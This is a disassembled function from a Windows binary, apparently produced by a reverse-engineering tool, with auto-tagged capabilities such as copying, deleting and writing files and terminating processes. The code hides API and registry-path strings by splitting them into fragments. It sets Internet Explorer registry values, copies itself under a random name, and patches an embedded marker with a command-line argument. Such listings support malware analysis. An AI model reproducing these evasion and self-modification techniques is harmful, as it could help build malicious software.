Function at 0x404953
Capabilities:
Accept command line arguments
Copy file
Delete file
Read file on windows
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x318c
call fcn.00405740
push ebx
push esi
push edi
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strlen
cmp eax, 2
pop ecx
jae 0x404d83
call fcn.004039c3
test al, al
je 0x404d43
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push 0x4077f4
push 0x407b58
push 0x407320
lea eax, [ebp - 0xe4c]
push str._s_ss_s
push eax
call esi
lea eax, [ebp - 0xe4c]
push str.tRaY
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xe4c]
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
add esp, 0x20
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x25ec]
push str.1978gfd3d63
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x25ec]
pop ecx
push 0x4074b4
push eax
lea eax, [ebp - 0x27c]
push str._sxx_s
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0xec]
push str.el32.d
push 0x407960
push str._sn_sll
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x88]
push str.CreateMutexA
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
pop ecx
pop ecx
lea eax, [ebp - 0xec]
push eax
call edi
lea ecx, [ebp - 0x88]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x27c]
push ecx
push 1
push ebx
call eax
mov dword [ebp + 0x10], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push ebx
mov dword [ebp - 0x10], eax
call dword [sym.imp.ole32.dll_CoInitialize]
push 0xf0
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x404a86
push str.erdsfdfg
mov ecx, eax
call fcn.00405181
mov dword [ebp - 4], eax
jmp 0x404a89
mov dword [ebp - 4], ebx
lea eax, [ebp - 0xe4c]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
pop ecx
lea ecx, [ebp - 0xe4c]
call fcn.004043ee
push 0x38
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x2dbc]
call fcn.0040510f
push dword [ebp - 0xc]
lea ecx, [ebp - 0x2dbc]
push str.123428g3
call fcn.00401000
cmp dword [ebp + 0x10], ebx
je 0x405100
cmp dword [ebp - 0x10], 0xb7
je 0x404d35
lea eax, [ebp - 0x1a1c]
push str.sd32R
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea ecx, [ebp - 0x1a1c]
call fcn.00403caf
test al, al
je 0x404d35
mov eax, dword [str.__10150___]
mov dword [ebp - 8], ebx
add eax, 3
push eax
lea eax, [ebp - 0xa64]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0xa64]
pop ecx
mov byte [ebp - 0xa5e], bl
push 0x407af8
push eax
call dword [sym.imp.SHLWAPI.dll_StrTrimA]
push str.erMai
push str.t_Explo
push str.osoftInter
push str.areMicr
push str.oftw
push 0x407320
lea eax, [ebp - 0x1234]
push str._s_s_s_sne_sr_sn
push eax
call esi
push 0x3e7
lea eax, [ebp - 0x664]
push ebx
push eax
mov dword [ebp - 0x18], 1
call sub.MSVCRT.dll_memset
add esp, 0x2c
lea eax, [ebp - 0xec]
mov dword [ebp - 0x10], 0x3e7
mov byte [ebp - 0x4c], 0x74
push str.pi.dl
push 0x4079d0
push str._swa_sl
push eax
mov byte [ebp - 0x4b], 0x70
mov byte [ebp - 0x4a], bl
call esi
add esp, 0x10
lea eax, [ebp - 0x150]
push str.SHGetValueA
push eax
call esi
pop ecx
lea eax, [ebp - 0xec]
pop ecx
push eax
call edi
lea ecx, [ebp - 0x150]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp + 0x10]
test ecx, ecx
je 0x404c05
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xa64]
push ecx
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x4c]
push ecx
lea ecx, [ebp - 0x1234]
push ecx
push SysReAllocString
call eax
cmp eax, ebx
je 0x404cd9
push str.erMai
push str.t_Explo
push str.osoftInter
push str.ftwareM
push 0x407a94
lea eax, [ebp - 0x1634]
push str._s_sicr_sne_sr_sn
push eax
call esi
push ebx
call dword [sym.imp.MSVCRT.dll_time]
add esp, 0x20
cmp eax, 4
jle 0x404cd9
push 0x407578
lea eax, [ebp - 0xec]
push 0x407a7c
push eax
call esi
lea eax, [ebp - 0xec]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 0x10
lea eax, [ebp - 0x150]
push str.wapi.d
push 0x4079d0
push str._s_sll
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x1b4]
push str.SHSetValueA
push eax
call esi
pop ecx
lea eax, [ebp - 0x150]
pop ecx
push eax
call edi
lea ecx, [ebp - 0x1b4]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edi, eax
lea eax, [ebp + 0x10]
test eax, eax
je 0x404cd9
lea eax, [ebp - 0xa64]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0xa64]
push eax
lea eax, [ebp - 0xec]
push 1
push eax
lea eax, [ebp - 0x1634]
push eax
push SysReAllocString
call edi
push 0x407a78
push str.D_gEN.p
push 0x40706c
lea eax, [ebp - 0x1e04]
push str.__s_s_s
push eax
call esi
lea eax, [ebp - 0x1e04]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 0x18
lea eax, [ebp - 0x1a1c]
mov edx, dword [ebp - 4]
mov ecx, 0x4077f4
push ebx
push dword [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0xa64]
push ebx
push eax
lea eax, [ebp - 0x1e04]
push eax
lea eax, [ebp - 8]
push dword [ebp + 0x10]
push eax
call fcn.004020ee
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x405100
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x67c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x67c]
call fcn.004039a9
call fcn.00403a43
xor dl, dl
lea ecx, [ebp - 0x67c]
call fcn.00405348
call fcn.0040553a
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
or dword [ebp - 0x10], 0xffffffff
xor ebx, ebx
cmp dword [ebp + 0x10], ebx
jne 0x404d92
xor edi, edi
jmp 0x404dbf
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov esi, eax
inc esi
lea eax, [esi + esi]
add eax, 3
and al, 0xfc
call fcn.00405740
mov edi, esp
push esi
push edi
push 0xffffffffffffffff
push dword [ebp + 0x10]
mov word [edi], bx
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 0x10], 3
mov dword [ebp - 0xc], eax
jne 0x405100
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov edi, dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x404df0
xor eax, eax
jmp 0x404e1d
push eax
call esi
lea eax, [eax + eax + 2]
mov dword [ebp + 0x10], eax
add eax, 3
and al, 0xfc
call fcn.00405740
mov eax, esp
push ebx
push ebx
mov dword [ebp - 8], eax
push dword [ebp + 0x10]
mov byte [eax], bl
push eax
push 0xffffffffffffffff
push dword [ebp - 4]
push ebx
push ebx
call edi
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x318c]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 0xc]
pop ecx
pop ecx
mov eax, dword [eax + 4]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x404e3d
xor eax, eax
jmp 0x404e6a
push eax
call esi
lea eax, [eax + eax + 2]
mov dword [ebp + 0x10], eax
add eax, 3
and al, 0xfc
call fcn.00405740
mov eax, esp
push ebx
push ebx
mov dword [ebp - 8], eax
push dword [ebp + 0x10]
mov byte [eax], bl
push eax
push 0xffffffffffffffff
push dword [ebp - 4]
push ebx
push ebx
call edi
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp - 0xc]
pop ecx
pop ecx
mov eax, dword [eax + 8]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x404e87
xor esi, esi
jmp 0x404eae
push eax
call esi
lea eax, [eax + eax + 2]
mov dword [ebp + 0x10], eax
add eax, 3
and al, 0xfc
call fcn.00405740
mov esi, esp
push ebx
push ebx
push dword [ebp + 0x10]
mov byte [esi], bl
push esi
push 0xffffffffffffffff
push dword [ebp - 4]
push ebx
push ebx
call edi
lea eax, [ebp - 0x29bc]
push esi
push eax
call sub.MSVCRT.dll_strcpy
mov esi, 0x3ff
lea eax, [ebp - 0x124c]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x14
lea eax, [ebp - 0x124c]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call dword [sym.imp.MSVCRT.dll_rand]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
push 0x407a64
lea eax, [ebp - 0x67c]
push str._s__d__d.exe
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x67c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x67c]
push ebx
push eax
lea eax, [ebp - 0x124c]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x67c]
push eax
lea eax, [ebp - 0x29bc]
push 0x407a50
push eax
lea eax, [ebp - 0x21ec]
push str._s__s___s_
push eax
call edi
add esp, 0x14
mov dl, 1
lea ecx, [ebp - 0x21ec]
call fcn.00405348
lea eax, [ebp - 0x67c]
push 0x4077dc
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
mov dword [ebp - 4], eax
pop ecx
lea ecx, [ebp - 0x124c]
test ecx, ecx
je 0x4050f3
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push ebx
push eax
call esi
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_ftell]
push ebx
push ebx
push dword [ebp - 4]
mov dword [ebp + 0x10], eax
call esi
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_malloc]
push dword [ebp - 4]
mov esi, eax
push dword [ebp + 0x10]
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fread]
mov ecx, dword [ebp + 0x10]
add esp, 0x30
add ecx, 0xfffffff4
xor eax, eax
cmp ecx, ebx
mov dword [ebp - 0xc], ebx
jle 0x405041
cmp byte [eax + esi], 0x23
lea edx, [eax + esi]
jne 0x404fe7
cmp byte [eax + esi + 1], 0x40
jne 0x404fe7
cmp byte [eax + esi + 2], 0x21
jne 0x404fe7
cmp byte [eax + esi + 9], 0x23
jne 0x404fe7
mov dword [ebp - 0xc], edx
inc eax
cmp eax, ecx
jl 0x404fc6
mov eax, dword [ebp - 0xc]
cmp eax, ebx
je 0x405041
inc eax
push 0x407a40
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x405041
push 6
lea eax, [ebp - 0x18]
push 0x20
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x18]
add eax, 3
push 6
push ecx
push eax
mov dword [ebp - 8], eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 8]
call sub.MSVCRT.dll_memcpy
add esp, 0x28
lea eax, [ebp - 0x318c]
push 0x407464
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
cmp eax, ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
mov dword [ebp - 8], eax
je 0x405077
push eax
push dword [ebp + 0x10]
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fwrite]
push dword [ebp - 8]
call ebx
add esp, 0x14
lea eax, [ebp - 0x24]
push 0x407a3c
push eax
call edi
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0xc
cmp eax, 0xc350
jl 0x4050b5
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
cmp eax, 0xea60
pop ecx
jge 0x4050b5
lea eax, [ebp - 0x24]
push 0x407460
push eax
call edi
pop ecx
pop ecx
lea eax, [ebp - 0x318c]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x29bc]
push eax
lea eax, [ebp - 0x1634]
push str.__s____s___s_
push eax
call edi
add esp, 0x14
mov dl, 1
lea ecx, [ebp - 0x1634]
call fcn.00405348
push dword [ebp - 4]
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
pop ecx
lea eax, [ebp - 0x67c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea esp, [ebp - 0x3198]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10